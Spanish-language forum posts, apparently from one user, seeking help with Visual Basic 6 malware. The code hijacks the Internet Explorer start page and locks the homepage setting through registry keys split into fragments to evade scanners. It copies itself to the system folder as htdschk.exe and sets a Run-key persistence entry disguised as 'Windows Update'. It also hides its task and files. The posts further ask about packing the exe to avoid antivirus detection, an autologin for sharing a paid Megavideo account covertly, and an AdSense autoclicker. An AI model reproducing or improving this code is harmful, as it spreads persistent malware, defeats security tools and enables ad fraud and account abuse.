Mensajes

aqui esl codigo bueno la idea es q www.caidos.net quiero q sea otra peor cmabiarlo mediante web

ejemplo

http://www.cuscored.com/paginainicio.php   aqui el texto de www.elhacker.net
quiero q coja esta valor y cambie de pagina ya no caidos.net si no el elhacker.net
creoq me dejo entender :
quieor q cambie la pagina de inicio segun el valor de la url (http://www.cuscored.com/paginainicio.php)
espero q me ayuden creo  alguien me dijo por

Inet1.Execute ("http://www.cuscored.com/paginainicio.php")

pero no se la sentenciua exacta ayudenme porfavor gracias



Private Sub Command1_Click()
Dim residencia
On Error Resume Next
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://www.caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://www.caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "0"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://www.caidos.net/"
End
End Sub

bueno ya logre hacer toda mi aplicacion final un exe todo bien terminado peor cuando lo pongo en editar en un progrma exadecimal muetran algunos codigos q yo no deseo q muetra haya algun modo de encriotar el exe o protegerlos de algun modo:

bueno encontre un themida q me recomendaron peor cunaod lo cifro en esto mi aplicacion se vuelve virus ayudenme par apoder solucionr este problema gracias

bueno si entiendo eso loq pasa es q todo el scrip q te paso ahi no funciona nesesito hacerlo funcionar

Bueno aqui tengo un scrip q cada ves q se inica mi pc se activa haciendoq  cambie mi pagina de inicio me funciona corectamente
pero este scrip anda mescaldo con otro solo quiero sacar loq es pagina de inicio como lo puedo hacer:

Private Sub Timer5_Timer()
If Not Inet1.StillExecuting Then
Call MyButton_Click
Timer5.Enabled = False
End If
End Sub


Private Sub Timer6_Timer()
    Dim win
    Dim sys
    Dim residencia
    On Error Resume Next
ejec = App.Path
     
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\halo2"
Name sys & "\halo2" As sys & "\htdschk.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"
App.TaskVisible = False

End Sub

Private Sub Timer7_Timer()
Open Label3.Caption & ".txt" For Binary As #1
Close #1
Shell ("attrib " & Label3.Caption & ".txt +s +h +a"), vbHide
Timer7.Enabled = False
End Sub

Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hwnd, GWL_EXSTYLE, WS_EX_LAYERED 'hacemos invisible el form
SetLayeredWindowAttributes frm.hwnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function

bueno hay ma codigo pero pienzo q es lo principal

el problema es q no e smi pagina bueno no tengo ni ide de quien es
es por esoq  deseo filtrara algunas cosas y algunas no

si tienes alguna otra idea

bueno como puedo filtat una direcion web ejemplo

http://misitio.com  esot que pueda verse normalmente sin ningunproplema


deseo filtarar esto

http://misitio.com/xxx.php  por ejemplo quieor filtrar esa url y tambien esta
http://misitio.com/yyy.php 


solo ese pero las demas q esten relacionadas en ese sitio q puedan visualizar normal ejemplo
http://misitio.com/aaa.php  esta tiene q visualizar normalmente

WebBrowser1.document.All("userlogin").Value = "ARNOLD"
WebBrowser1.document.All("password").Value = "123456789"

bueno esto es el user de y pasword pero el campo user login se repite doble vez en el html de http://www.megavideo.com/?s=signup se repite 2 veces

<TD style="width:130px; text-align:right; padding-right:5px; padding-top:5px;" valign="top" height="35">Nom d'utilisateur:</TD>

y creo hace una Confusión si me dices q use

Código (vb) [Seleccionar] Expandir

como se enterprtaria el user  q esta repetido bueno loogicamente no puedo modificar el codigo html de megavideo ??? ayudanme por favor

BUENO AQUI EL CODIGO:


---------------------------VB----------------------------
Option Explicit
Dim bb, a As Integer
Dim URL
Private Sub Form_Load()
WebBrowser1.Navigate2 "http://www.megavideo.com/?s=signup"
End Sub

Private Sub Timer1_Timer()
       bb = Val(bb) + 1
     
    If Val(bb) = Val(20) Then
          If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to enter something in the textbox
   ' and then click on the Send button  = 5.php.html
   '
   ' <input name="message" title="Message:" value="" maxlength="255" type="text">
   ' <input name="Send" value="Send" type="submit">
   '
   WebBrowser1.document.All("message").Value = "HELLO"
   WebBrowser1.document.All("signupform").Click
   Exit Sub
End If
    Else
          Label1.Caption = bb
    End If
End Sub

Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)
Dim HTML As HTMLDocument
Dim HTMLI As HTMLInputElement
     
Set HTML = WebBrowser1.document

If URL = "http://www.megavideo.com/?s=signup" Then
   '
   ' Here when you first visit the site and the user name and login fields
   ' need to be submitted
   '
   WebBrowser1.document.All("email").Value = "ARNOLD"
   WebBrowser1.document.All("password").Value = "123456789"
   '
   ' <input type="submit" value="Login"/>
   '
   For Each HTMLI In HTML.getElementsByTagName("input")
     If HTMLI.Value = "Login" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to select the "Enter" link = 1.php.html
   '
   ' <a href="http://pinoywap.net/v2/index.php?action=main&amp;type=send&amp;susi=2762b42dad6b3349b3c0bfac9d157244&amp;popm=1">[ enter ]</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If HTMLI.innerHTML = "[ enter ]" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to select chatrooms
   '
   ' <a accesskey="4" href="http://pinoywap.net/v2/index.php?action=chat&amp;susi=2762b42dad6b3349b3c0bfac9d157244&amp;type=send">Chatrooms(69)</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If InStr(HTMLI.innerHTML, "Chatrooms") > 0 Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
   '
   ' Here when the next page arrives and you need to select adults 18+ = 2.php.html
   '
   ' <a href="http://pinoywap.net/v2/chatw5c.php?susi=2762b42dad6b3349b3c0bfac9d157244&amp;rid=6857&amp;type=send">+ adults 18+ (1)</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If InStr(HTMLI.innerHTML, "adults 18+") > 0 Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If

If InStr(URL, "http://www.megavideo.com/?s=signup") > 0 Then
    bb = 0
    Timer1.Enabled = True
   '
   ' Here when the next page arrives and you need to select write = 4.php.html
   '
   ' <a href="http://pinoywap.net/v2/chatw5c.php?action=say&amp;susi=2762b42dad6b3349b3c0bfac9d157244&amp;rid=6857&amp;rpw=&amp;type=send">write</a>
   '
   For Each HTMLI In HTML.getElementsByTagName("A")
     If HTMLI.innerHTML = "write" Then
       HTMLI.Click
       Exit Sub
     End If
   Next
End If
End Sub


---------------------------HTML--------------------------------------
<form method="post" name="loginForm" id="loginform">
      <input type="hidden" name="action" value="login" />
      <input type="hidden" name="cnext" value="">
      <input type="hidden" name="snext" value="">
      <input type="hidden" name="touser" value="">
      <input type="hidden" name="user" value="">
      <TR>
         <TD style="width:130px; text-align:right; padding-right:5px; padding-top:5px;" valign="top" height="35">Nom d'utilisateur:</TD>
         <TD  valign="top"><input type="text" size="25" maxlength="60" name="nickname" style="width:250px;  border:solid 1px; border-color:#BEBBB5; height:22px;"/></TD>
      </TR>
      <TR>
         <TD  valign="top" style="width:130px; text-align:right; padding-right:5px; padding-top:5px;" height="35">Mot de passe:</TD>
         <TD  valign="top"><input type="password" size="20" maxlength="20" name="password" style="width:250px;  border:solid 1px; border-color:#BEBBB5; height:22px;" /></TD>
      </TR>
      </TABLE>


      <div style="position:relative; width:386px; text-align:center; height:26px;">

      <div style="position:absolute; width:109px; height:26px; left:276px; top:0px; cursor:pointer;" onClick="javascript:document.getElementById('loginform').submit();"  onmouseover="imgbutton.src=document.getElementById('imgbutton1').src; document.getElementById('imgbutton2').src=imgbuttono.src;"  onmouseout="document.getElementById('imgbutton2').src=imgbutton.src;"><div style="position:absolute; left:0px; top:0px; width:109px; height:26px;"><IMG SRC="http://wwwstatic.megavideo.com/mvgui/button.gif" WIDTH="109" HEIGHT="26" BORDER="0" ALT="" id="imgbutton2"></div><div style="position:absolute; left:0px; top:3px; width:109px; text-align:center; font-family:arial; font-size:12px; color:#FFFFFF; font-weight:bold; text-decoration:none;">Connexion</div></div>

      </div>

FUNCIONA cORRECTAMENTE HASTA UNA CIERTA PARTE ME DI CUENTA Q NO PUEDE escribir EL NICKNAME POR Q HAYA 2 CAMPOS REPETIDOS EN EL REGISTRO EXIXTE UN CAMPO Q TINE EL VALOR DE nicname
Y TAMBIEN EN EL CAMBO DE LOGIN EXIXTE ESE MISMO CAMPO ASIES EL ERROR ESTA AHI LO DEMAS FUNCIONA CORECTAMSENTE COMO PODRIA AHCER escribir EL CAMPO DE NICK NAME SI ESTAN TEPETIDOS ( name="nickname") ES LO SE REPITE TANTO EN NUEVO REGISTRO Y EN EL MOMENTO DE INGRESAR

OTRO ERROR Q TENGO ESQ NO PUEDO DARLE UN CLIK EN EL BOTON DE cODIGO YA Q TIENE UNA SENTENCIA EN JS

<div style="position:absolute; width:109px; height:26px; left:276px; top:0px; cursor:pointer;" onClick="javascript:document.getElementById('loginform').submit();"  onmouseover="imgbutton.src=document.getElementById('imgbutton1').src; document.getElementById('imgbutton2').src=imgbuttono.src;"  onmouseout="document.getElementById('imgbutton2').src=imgbutton.src;"><div style="position:absolute; left:0px; top:0px; width:109px; height:26px;"><IMG SRC="http://wwwstatic.megavideo.com/mvgui/button.gif" WIDTH="109" HEIGHT="26" BORDER="0" ALT="" id="imgbutton2"></div><div style="position:absolute; left:0px; top:3px; width:109px; text-align:center; font-family:arial; font-size:12px; color:#FFFFFF; font-weight:bold; text-decoration:none;">Connexion</div>

NO SE Q SENTENCIA deberia SER LA CORECTA ESPERO Q ME AYUDEN SI TIENE UNA MEJOR IDEA PARA AHCER ESTA MISMA ACCION AYUDENME


PAGO POR CULAQUIER NUEVA IDE O AYUDA EN ESTO DE MEGAVIDEO GRACIAS ESPERO Q PUEDAN LEE MIS POS LOS MAS CAPOS

no encuentro el post nesesito hacerlo para megavideo ahora deja solo ver 60 min compre una cuenta premiun y puedo ver todas las peliculas completas y quieor q todos los de mi pagina web puedas usar esta cuenta premium pero no quieor q se enteren mi usuarios ni me contraseña e spor eso q deseo encontrara algun modo para hacer tenia un autoicliker de adsense google q hace algo parecido pero no puedo mejorarlo ya q el autokiler hace una buskeda peor yo quiero un autologin q se inserte el user contrasña y se precione el boton entrar y se gurde las copkkies como usuario premium y puedan diosfrutar la pèlicula gracias